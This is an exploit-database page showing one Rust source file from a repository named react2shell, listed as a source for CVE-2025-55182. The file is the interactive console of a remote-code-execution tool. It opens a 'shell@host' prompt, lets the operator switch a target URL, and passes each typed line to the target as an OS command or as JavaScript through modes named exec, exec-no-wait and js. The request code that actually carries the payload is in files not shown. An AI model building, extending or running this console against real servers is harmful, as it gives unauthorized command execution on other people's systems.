Exploit databaseDownload repository ZIP
GH-9e5e96752b36391d6875ac45e81715b3
mantvmass/react2shell
Sources for CVE-2025-55182
257 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
mantvmass/react2shellRevision 972eba901b77
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/prompt.rs
Rust · 6,425 bytesuse crate::{
session::{Mode, Session},
utils::{banner, clear_screen, is_valid_url},
};
use rustyline::{Editor, config::Configurer, error::ReadlineError};
pub fn run_interactive_shell(mut session: Session) {
clear_screen();
banner();
println!("{}", "[+] Usage: '/help' for see others command\n");
let mut rl = Editor::<(), _>::new().expect("Failed to init rustyline");
rl.set_color_mode(rustyline::ColorMode::Enabled);
let _ = rl.load_history(".react2shell_history");
// Create a Tokio runtime for async execution
let rt = tokio::runtime::Runtime::new().expect("Failed to create Tokio runtime");
loop {
let host = session
.target
.replace("http://", "")
.replace("https://", "");
let prompt = format!(
"{}{}{}{}\n{} ",
"",
format!("shell@{}", host),
" ",
format!("({})", session.mode_str()),
"$"
);
match rl.readline(&prompt) {
Ok(line) => {
let input = line.trim();
if input.is_empty() {
continue;
}
let _ = rl.add_history_entry(input);
// Split input into command and arguments
let parts: Vec<&str> = input.split_whitespace().collect();
let cmd = parts[0];
let args = &parts[1..];
match cmd {
"/help" => print_help(),
"/show" if args.get(0) == Some(&"options") => show_options(&session),
"/clear" => clear_screen(),
"/exit" | "/quit" => break,
"/new" => {
if let Some(value) = args.get(0) {
if is_valid_url(value) {
session.target = value.to_string();
println!("{}", format!("[+] New: {}", value));
} else {
println!("{}", "[!] Invalid URL");
}
} else {
println!("{}", "[!] Usage: new <url>");
}
}
"/use" => match args.get(0).map(|s| *s) {
Some("exec") => {
session.mode = Mode::Exec;
println!("{}", "[+] Switch shell mode to exec");
}
Some("exec-no-wait") => {
session.mode = Mode::ExecNoWait;
println!("{}", "[+] Switch shell mode to exec-no-wait");
}
Some("js") => {
session.mode = Mode::Js;
println!("{}", "[+] Switch shell mode to js");
}
Some(mode) => {
println!("{}", format!("[!] Unknown mode: {}", mode));
}
None => {
println!("{}", "[!] Usage: /use <exec|exec-no-wait|js>");
}
},
"/set" => match args.get(0).map(|s| *s) {
Some("timeout") => {
if let Some(val) = args.get(1) {
if let Ok(t) = val.parse::<u64>() {
session.timeout = t;
println!("{}", format!("[+] Timeout = {}ms", t));
} else {
println!("{}", "[!] Invalid timeout value");
}
} else {
println!("{}", "[!] Usage: /set timeout <milliseconds>");
}
}
Some(setting) => {
println!("{}", format!("[!] Unknown setting: {}", setting));
}
None => {
println!("{}", "[!] Usage: /set <timeout> <value>");
}
},
_ => {
// Execute as command
let execute_result = rt.block_on(session.execute(input));
match execute_result {
Ok(out) => {
if !out.trim().is_empty() {
println!("{}", out);
} else {
println!("{}", "[+] Command executed (no output)");
}
}
Err(e) => {
println!("{} {}", "[!] Error:", e);
}
}
}
}
}
Err(ReadlineError::Interrupted) | Err(ReadlineError::Eof) => break,
Err(err) => {
println!("Readline error: {:?}", err);
break;
}
}
}
rl.save_history(".react2shell_history").ok();
println!("{}", "Bye!");
}
fn print_help() {
println!("{}", "Commands;");
println!(" {} ; Switch URL target", "/new <URL>");
println!(" {} ; Execute command and wait for output", "/use exec");
println!(" {} ; Execute command without waiting", "/use exec-no-wait");
println!(" {} ; Execute JavaScript code", "/use js");
println!(
" {} ; Set command timeout in milliseconds",
"/set timeout <ms>"
);
println!(" {} ; Show current configuration", "/show options");
println!(" {} ; Clear screen", "/clear");
println!(" {} ; Exit the shell", "/exit or /quit");
println!("\n{}", "Examples;");
println!(" {}", "ls -la");
println!(" {}", "whoami");
println!(" {}", "console.log('Hello')");
}
fn show_options(session: &Session) {
println!("{}", "Current Configuration;");
println!(" {} {}", "Target:", session.target);
println!(" {} {}", "Mode:", session.mode_str());
if matches!(session.mode, Mode::Exec) {
println!(" {} {}ms", "Timeout:", session.timeout.to_string());
}
}